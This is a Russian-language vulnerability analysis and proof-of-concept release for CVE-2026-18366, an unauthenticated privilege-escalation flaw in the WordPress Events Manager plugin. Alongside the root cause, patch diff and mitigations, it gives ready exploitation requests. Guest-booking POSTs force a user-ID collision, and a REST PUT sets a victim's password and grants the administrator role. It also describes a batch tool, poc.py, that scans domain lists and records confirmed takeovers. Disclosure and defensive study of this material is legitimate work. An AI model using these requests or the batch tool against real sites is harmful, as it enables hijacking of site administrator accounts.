CVE-2026-18366 — Events Manager < 7.4.1: неаутентифицированная эскалация привилегий до администратора

Хронология раскрытия

• 2026-08-03 — Выпущена версия Events Manager 7.4.1 с исправлением (защитный релиз вендора).
• 2026-08-12 — Опубликована запись в IONIX Threat Center.
• 2026-08-21 — Этот разбор и proof-of-concept (poc.py).

Краткое описание

Версии Events Manager с 7.1.0 по 7.4.0.x содержат уязвимость повышения привилегий, которая позволяет полностью неаутентифицированному атакующему захватить любую учётную запись пользователя, чей ID совпадает с ID одной из собственных записей плагина (event / location / event-recurring / location-recurring). Коллизию можно принудительно вызвать на сайтах с включёнными гостевыми бронированиями (по умолчанию): каждое гостевое бронирование создаёт реальную учётную запись пользователя и увеличивает счётчик автоинкремента wp_users на единицу, что позволяет атакующему «пройтись» по пространству пользовательских ID до ID записи event/location.

Корневая причина: фильтр map_meta_cap плагина отбрасывает уже вычисленный WordPress список возможностей ($caps = []) для любой мета-возможности, когда ID объекта этой возможности оказывается записью event/location — включая базовые возможности ядра WordPress, такие как edit_user, delete_user, promote_user и remove_user. Пустой список возможностей интерпретируется как «возможности не требуются» — то есть разрешено всем, включая неавторизованных пользователей.

Последствия (все без аутентификации, через WP REST API): смена пароля любой совпадающей учётной записи, повышение её до administrator или её удаление.

Проанализированная версия: 7.4.0.1 (уязвимая) — сравнена с 7.4.1 (исправленной).

Затронутые версии

Корневая причина — map_meta_cap очищает $caps

classes/em-archetypes.php (версия 7.4.0.1):

Следствие: каждая проверка current_user_can('edit_user', X) / delete_user / promote_user / remove_user возвращает TRUE, когда X равен ID записи event/location. Плагин «отбрасывает решения контроля доступа, уже принятые WordPress» — именно так, как описано WPScan.

Исправление в 7.4.1

Проверено сравнением 7.4.0.1 с 7.4.1: теперь сброс защищён точным совпадением возможности в каждой ветке (например, && $c['read'][$post->post_type] == $cap), поэтому $caps очищается только когда запрошенная возможность действительно является архетипной мета-возможностью. Комментарий в патче: «Сброс при любой возможности с объектом опустошал список требований для несвязанных возможностей (например, edit_user, promote_user), что интерпретируется как разрешение».

Влияние — открытые операции администрирования ядра WordPress (без входа, через REST API)

У конечных точек REST для пользователей (/wp-json/wp/v2/users/{id}) нет глобального шлюза входа — контроль доступа осуществляется исключительно через колбэки прав, все из которых проходят через тот же фильтр map_meta_cap:

Побочный эффект: edit_comment также затронута, когда ID комментария случайно совпадает с ID записи event/location (таблица wp_comments использует то же числовое пространство).

Принудительный вызов коллизии ID через гостевое бронирование (точка входа)

Коллизия существует потому, что wp_users.ID и wp_posts.ID — независимые последовательности автоинкремента, которые неизбежно пересекаются. Гостевые бронирования форсируют её:

• em-install.php:896 — dbem_bookings_anonymous = 1: гостевые бронирования включены по умолчанию; :871 dbem_bookings_registration_disable = 0 (регистрация включена).
• em-actions.php:340-344 — booking_add входит в $booking_nopriv_actions → вызывается без входа (через wp_ajax_nopriv_booking_add, приоритет 999999, строки :817-830, или wp_loaded :11).
• em-actions.php:360-375 — поток booking_add: → → → → . (Nonce — это только защита от CSRF: nonce выводится на публичной форме бронирования, поэтому его может получить кто угодно.)

Вторичная цепочка, обнаруженная при аудите (атрибуция бронирования через person_id) — events-manager.php:430-437 (em_load_event, $EM_Person из $_REQUEST['person_id'] без входа), em-booking.php:1060-1072 (get_person() переопределяет person_id нового бронирования), em-booking.php:2004-2006 (can_manage() = TRUE для бронирования без ID), em-functions.php:448-449 — не изменена в 7.4.1; это отдельный вектор (неверная атрибуция бронирования), не являющийся сутью данного CVE.

Эксплуатация (без аутентификации)

1. Определите целевой ID. Перечислите публичные ID записей event/location (постоянные ссылки, ленты, /wp-json/wp/v2/event или перебор последовательных ID). Предположим, целевой ID — N.
2. (Необязательно — принудительный вызов коллизии) Отправляйте повторные гостевые бронирования, чтобы следующая учётная запись получила ID N:
   root@kitploit:~

   POST /wp-admin/admin-ajax.php?action=booking_add
     event_id=<E>&em_tickets[<T>][spaces]=1
     &user_email=attacker%40mail.com&user_name=Attacker
     &_wpnonce=<nonce from the public booking form>
   

   Каждый POST → одна новая учётная запись; учётная запись с ID N принадлежит атакующему (пароль отправляется на адрес атакующего).
3. Повысьте привилегии до администратора и смените пароль:
   root@kitploit:~

   PUT /wp-json/wp/v2/users/N
   Content-Type: application/json
   {"password":"Pwned123!","roles":["administrator"]}
   

   Колбэки прав edit_user + promote_user проходят, потому что get_post(N) разрешается в запись event/location → $caps = []. (Если (например, принадлежащая старому администратору) уже имеет ID , совпадающий с ID записи event, шаг 2 не нужен; атакующий напрямую захватывает эту учётную запись.)

Требования

• Установлена и активна версия Events Manager 7.1 – 7.4.0.x (зарегистрированы произвольные типы записей event/location).
• Как минимум одна запись event/location (её ID — ключ коллизии).
• Гостевые бронирования включены (по умолчанию) — нужны только для принудительного вызова коллизии; сайты, где уже есть учётная запись с ID, равным ID записи event/location, атакуются напрямую через REST.

Proof of Concept — poc.py

poc.py — это асинхронный (asyncio + aiohttp) пакетный PoC, который для каждой цели: определяет версию EM по отпечатку (ограничиваясь уязвимым диапазоном [7.1, 7.4.1)), обнаруживает доступные снаружи ID записей EM (WP sitemap → /locations/, опционально — обход формы бронирования), проверяет обнаруженные ID на наличие существующей учётной записи (условие коллизии) и повышает привилегии тех, где коллизия найдена — через REST-канал или канал wp-admin, если передана сессия и REST заблокирован. Никакого слепого перебора пользовательских диапазонов, гостевых бронирований и создания учётных записей.

Прогонщик мультиплексирует весь ввод-вывод в одном цикле событий (почти 0% CPU при I/O-ожидании; -t ограничивает конкурентность, а не ядра), сканирует в цикле только ограниченные начальные фрагменты по 64 КиБ, выгружает тяжёлые парсинги (XML sitemap, пакет страницы обхода, профильная форма) в рабочие потоки через asyncio.to_thread и соблюдает задержку вежливости при каждой попытке загрузки страницы. Сама логика форсирования не изменилась (те же шлюзы, те же оракулы, та же проверка).

py -3 poc.py -l domains.txt                     # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v          # single domain
py -3 poc.py -l domains.txt --crawl             # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
    --wp-session 'wordpress_logged_in_abc=...'  # wp-admin fallback channel

Требования: Python 3.9+, pip install aiohttp.

Результаты записываются в hasil.txt (подтверждённые захваты) и id-post.txt (каждый уязвимый домен, где были обнаружены ID записей EM, с collision=yes/no/unknown).

Примечание: этот PoC был независимо восстановлен по статическому анализу исходников 7.4.0.1 и диффа патча 7.4.1 — это не PoC от WPScan.

ТОЛЬКО АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ БЕЗОПАСНОСТИ. Запускайте исключительно против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. PoC выполняет обычные HTTP-запросы — без методов обхода; он может быть виден в логах/IDS.

Меры по устранению

• Обновитесь до Events Manager 7.4.1 или новее.
• Временные меры: отключите гостевые бронирования (dbem_bookings_anonymous), ограничьте пользовательские REST-конечные точки на уровне WAF и отслеживайте смену паролей, повышение ролей и удаление учётных записей.

Благодарности

• Обнаружение уязвимости: Jakub Herman (указан WPScan)
• Разбор и PoC: ghostpel

Ссылки

• WPScan: https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
• IONIX Threat Center: https://www.ionix.io/threat-center/cve-2026-18366/
• VulDB: https://vuldb.com/cve/CVE-2026-18366
• OpenCVE: https://app.opencve.io/cve/CVE-2026-18366
• Stack.watch: https://stack.watch/vuln/CVE-2026-18366/